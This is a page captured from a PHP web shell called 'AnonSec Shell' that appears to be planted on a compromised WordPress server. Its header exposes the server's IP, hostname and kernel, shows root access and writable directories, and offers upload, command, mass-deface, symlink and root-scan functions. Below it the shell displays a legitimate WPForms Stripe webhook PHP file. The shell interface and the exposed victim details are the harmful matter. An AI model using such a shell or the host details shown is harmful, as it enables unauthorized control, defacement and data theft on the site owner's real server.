AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1534260/cwd/plugins/wpforms-lite/src/Integrations/Stripe/Api/Webhooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/1534260/cwd/plugins/wpforms-lite/src/Integrations/Stripe/Api/Webhooks//ChargeSucceeded.php
<?php

namespace WPForms\Integrations\Stripe\Api\Webhooks;

use WPForms\Db\Payments\Queries;
use WPForms\Integrations\Stripe\Helpers;
use RuntimeException;

/**
 * Webhook charge.succeeded class.
 *
 * @since 1.8.4
 */
class ChargeSucceeded extends Base {

	/**
	 * Handle the Webhook's data.
	 *
	 * @since 1.8.4
	 *
	 * @throws RuntimeException If payment not found or not updated.
	 *
	 * @return bool
	 */
	public function handle() {

		$this->delay();

		$this->set_payment();

		if ( ! $this->db_payment ) {

			// Handle a case when charge.succeeded was sent before invoice.payment_succeeded to update a payment method details.
			if ( ! empty( $this->data->invoice ) ) {
				$db_renewal = ( new Queries() )->get_renewal_by_invoice_id( $this->data->invoice );

				if ( is_null( $db_renewal ) || empty( $this->data->payment_method_details ) ) {
					return false;
				}

				$this->update_payment_method_details( $db_renewal->id, $this->data->payment_method_details );
			}

			return false;
		}

		// Update payment method details to keep them up to date.
		if ( ! empty( $this->data->payment_method_details ) ) {
			$this->update_payment_method_details( $this->db_payment->id, $this->data->payment_method_details );
		}

		if ( $this->db_payment->status !== 'processed' ) {
			return false;
		}

		$currency  = strtoupper( $this->data->currency );
		$db_amount = wpforms_format_amount( $this->db_payment->total_amount );
		$amount    = wpforms_format_amount( $this->data->amount_captured / Helpers::get_decimals_amount( $currency ) );

		if ( $amount !== $db_amount || ! $this->data->paid ) {
			return false;
		}

		if ( ! $this->is_previous_statuses_matched() ) {
			return false;
		}

		$updated_payment = wpforms()->get( 'payment' )->update(
			$this->db_payment->id,
			[
				'status'           => 'completed',
				'date_updated_gmt' => gmdate( 'Y-m-d H:i:s' ),
			]
		);

		if ( ! $updated_payment ) {
			throw new RuntimeException( 'Payment not updated' );
		}

		wpforms()->get( 'payment_meta' )->add_log(
			$this->db_payment->id,
			'Stripe payment was completed.'
		);

		return true;
	}
}

Anon7 - 2022
AnonSec Team